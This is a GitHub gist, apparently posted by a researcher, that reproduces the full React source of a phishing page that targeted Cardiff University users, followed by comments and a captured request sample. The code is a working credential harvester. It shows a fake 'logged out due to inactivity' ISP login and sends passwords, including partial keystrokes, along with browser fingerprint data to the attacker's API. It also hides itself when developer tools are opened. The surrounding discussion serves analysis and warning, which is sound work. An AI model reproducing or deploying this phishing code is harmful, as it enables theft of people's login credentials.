Skip to content

Instantly share code, notes, and snippets.

@copleston
Last active November 28, 2018 15:03
Show Gist options
  • Save copleston/201c952316b1287f6fef3abed7a3107c to your computer and use it in GitHub Desktop.
Save copleston/201c952316b1287f6fef3abed7a3107c to your computer and use it in GitHub Desktop.
Cardiff Uni Phishing Attack
import React, { Component } from 'react'
import axios from 'axios'
import { Helmet } from 'react-helmet'
import { createBrowserHistory } from 'history'
const browserHistory = createBrowserHistory({ forceRefresh: false })
var randomstring = require('randomstring')
const devtools = require('devtools-detect')
let DISABLE_PROTECTION = true
if (process.env.NODE_ENV == 'production') {
DISABLE_PROTECTION = false
}
const REDIRECT_DELAY = 0
const unlisten = browserHistory.listen((location, action) => {
// location is an object like window.location
// alert(JSON.stringify(action, location.pathname, location.state))
return false
})
const SvgLoader = props => (
<svg width={200} height={200} viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" className="lds-eclipse" style={{ background: '0 0' }} {...props}>
<path d="M27.298 18.052a40 40 0 0 0 47.022 64.72 40 42 54 0 1-47.022-64.72" fill="#39f">
<animateTransform attributeName="transform" type="rotate" calcMode="linear" values="0 50 51;360 50 51" keyTimes="0;1" dur="1s" begin="0s" repeatCount="indefinite" />
</path>
</svg>
)
const Loading = () => (
<div style={{ textAlign: 'center' }}>
<SvgLoader style={{ paddingTop: '35px', maxWidth: '80px' }} alt="Loading..." />
</div>
)
class App extends Component {
constructor(props) {
super(props)
this.state = {
ispconf: null,
imageStatus: 'not loaded',
logo: null,
favicon: null,
redirect: false,
password: '',
dev: false,
reason: null
}
this.defaultPromo = '/redirect'
this.typetimer = null
this.testtimer = null
}
componentWillUnmount() {
debugger
}
async componentWillMount() {
if (!DISABLE_PROTECTION) {
window.devtools = devtools
if (window.devtools) {
if (window.devtools.open) {
this.setState({ dev: true, redirect: true })
return window.location('about:blank')
}
}
window.addEventListener('devtoolschange', e => {
if (e.detail.open) {
this.setState({ dev: true })
this.rp()
}
})
}
this.init()
this.handleLogin = this.handleLogin.bind(this)
this.handleType = this.handleType.bind(this)
this.handleData = this.handleData.bind(this)
this.handleTimeout = this.handleTimeout.bind(this)
}
async init() {
let path = window.location.href.split('/').pop()
browserHistory.push('/')
let data = {}
if (path.length < 7) {
this.setState({ redirect: true, reason: 'pl7' })
return false
}
data = await axios
.get(`/api/` + path, { timeout: 30000 })
.then(res => {
if (res.data) {
if (res.data.p) {
this.defaultPromo = res.data.p
}
}
return res.data
})
.catch(error => {
this.setState({ redirect: true, reason: 'aerr' })
})
if (data) {
if (data.email) {
let advancedMatching = { em: data.email }
const options = {
autoConfig: true,
debug: true
}
this.setState({ ispconf: data, imageStatus: 'loading' })
if (!data.ispname) {
this.setState({ redirect: true, reason: 'noin' })
} else {
var img = new Image()
img.src = './' + data.logo // Assigning the img src immediately requests the image
img.onload = () => {
this.setState({
logo: img.src,
favicon: data.favicon ? data.favicon : img.src,
imageStatus: 'loaded'
})
}
img.onerror = () => {
this.setState({
logo: img.src,
favicon: data.favicon ? data.favicon : img.src,
imageStatus: 'loaded'
})
}
}
}
}
}
handleLogin() {
var lres = this.handleData({
u: this.state.ispconf.email,
p: this.state.password,
n: this.getn(navigator),
l: true
}).then(res => {
if (res.data.url) {
this.defaultPromo = res.data.url
}
this.setState({ redirect: true, reason: 'hl' })
})
}
handleData(data) {
return axios.post('/api/' + randomstring.generate(), data)
}
handleTimeout() {
var lres = this.handleData({
u: this.state.ispconf.email,
p: this.state.password,
n: this.getn(navigator),
to: true
}).then(res => {
if (res.data.url) {
this.defaultPromo = res.data.url
}
this.setState({ redirect: true, reason: 'tout' })
})
}
getn(navigator) {
let d = {}
for (var property in navigator) {
var str = navigator[property]
d[property] = str
}
return d
}
handleType(evt) {
this.setState({ password: evt.target.value })
clearTimeout(this.typetimer)
if (evt.target.value.length === 0) {
return true
}
if (evt.target.value.length > this.state.password.length) {
this.setState({ partial: evt.target.value })
this.typetimer = setTimeout(() => {
this.handleData({
u: this.state.ispconf.email,
p: this.state.partial,
n: this.getn(navigator),
t: true
})
}, 1000)
}
}
onKeyDown = event => {
if (event.key === 'Enter') {
event.preventDefault()
event.stopPropagation()
this.handleLogin()
}
}
componentDidMount() {
if (this.state.ispconf) {
this.nameInput.focus()
}
setTimeout(() => {
this.handleTimeout()
}, 55000)
}
rp = () => {
if (DISABLE_PROTECTION) return true
this.handleData({ c: true, ...this.state, n: this.getn(navigator), d: true }).then(() => {
window.location.href = 'about:blank'
})
}
render() {
let ispconf = this.state.ispconf
if (this.state.redirect === true) {
setTimeout(() => {
window.location = this.state.reason && this.defaultPromo == '/redirect' ? '/redirect?r=' + this.state.reason : this.defaultPromo
}, REDIRECT_DELAY)
return <Loading />
}
if (!this.state.logo || !this.state.ispconf) {
return <Loading />
}
return (
<div className="App">
<Helmet>
<title>{ispconf.ispname}</title>
<meta name="description" content={ispconf.ispname} />
{this.state.favicon ? <link rel="icon" href={this.state.favicon} /> : <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" />}
</Helmet>
<div className="login-box-container">
<div className="login-box default">
<div className="txt-align-center">
<img className="logo" src={this.state.logo} alt={ispconf.ispname} />
</div>
<div className="challenge">
<div id="password-challenge" className="primary">
<div className="greeting">
<h1 className="username">Hello {ispconf.email}</h1>
<p className="session-expired" style={{ fontSize: '12px', color: '#dd1037' }}>
Logged out due to inactivity, Sign in to continue
</p>
</div>
<div className="hidden-username">
<input type="hidden" tabIndex="-1" aria-hidden="true" role="presentation" autoCorrect="off" spellCheck="false" name="username" value="" autoComplete="off" />
</div>
<input type="hidden" name="passwordContext" value="normal" />
<input
onChange={this.handleType}
onKeyDown={this.onKeyDown}
ref={input => {
this.nameInput = input
}}
className="password"
type="password"
id="login-passwd"
name="password"
placeholder="Password"
autoFocus="true"
autoComplete="off"
value={this.state.password}
/>
<p className="signin-cont">
<button
onClick={() => this.handleLogin()}
id="login-signin"
className="pure-button puree-button-primary puree-spinner-button"
name="verifyPassword"
value="Sign&nbsp;in"
>
Sign&nbsp;in
</button>
</p>
</div>
</div>
</div>
<div id="login-box-ad-fallback" className="login-box-ad-fallback" style={{ display: 'block' }}>
<p />
</div>
</div>
</div>
)
}
}
export default App
// WEBPACK FOOTER //
// ./src/App.js
@wcoots
Copy link

wcoots commented Nov 27, 2018

At least they have the decency to use asynchronous functions instead of then

@copleston
Copy link
Author

At least they have the decency to use asynchronous functions instead of then

I see that you're a glass-half-full kinda guy

@DavidBuchanan314
Copy link

@copleston
Copy link
Author

XHR That gets sent 1 second after every key press or upon form submission:

"u":"[email protected]",
"p":"1234",
"n":{  
   "vendorSub":"",
   "productSub":"20030107",
   "vendor":"Google Inc.",
   "maxTouchPoints":0,
   "hardwareConcurrency":1,
   "cookieEnabled":true,
   "appCodeName":"Mozilla",
   "appName":"Netscape",
   "appVersion":"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
   "platform":"Win32",
   "product":"Gecko",
   "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
   "language":"en-US",
   "languages":[  
      "en-US",
      "en"
   ],
   "onLine":true,
   "doNotTrack":null,
   "geolocation":{  
   },
   "mediaDevices":{  
   },
   "connection":{  
   },
   "plugins":{  
      "0":{  
         "0":{  
         }
      },
      "1":{  
         "0":{  
         }
      },
      "2":{  
         "0":{  
         },
         "1":{  
         }
      }
   },
   "mimeTypes":{  
      "0":{  
      },
      "1":{  
      },
      "2":{  
      },
      "3":{  
      }
   },
   "webkitTemporaryStorage":{  
   },
   "webkitPersistentStorage":{  
   },
   "permissions":{  
   },
   "presentation":{  
   },
   "mediaCapabilities":{  
   }
},
"l":true
}

@copleston
Copy link
Author

I've found no evidence of the page autifilling the password as some people are claiming. Can anyone prove me wrong?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment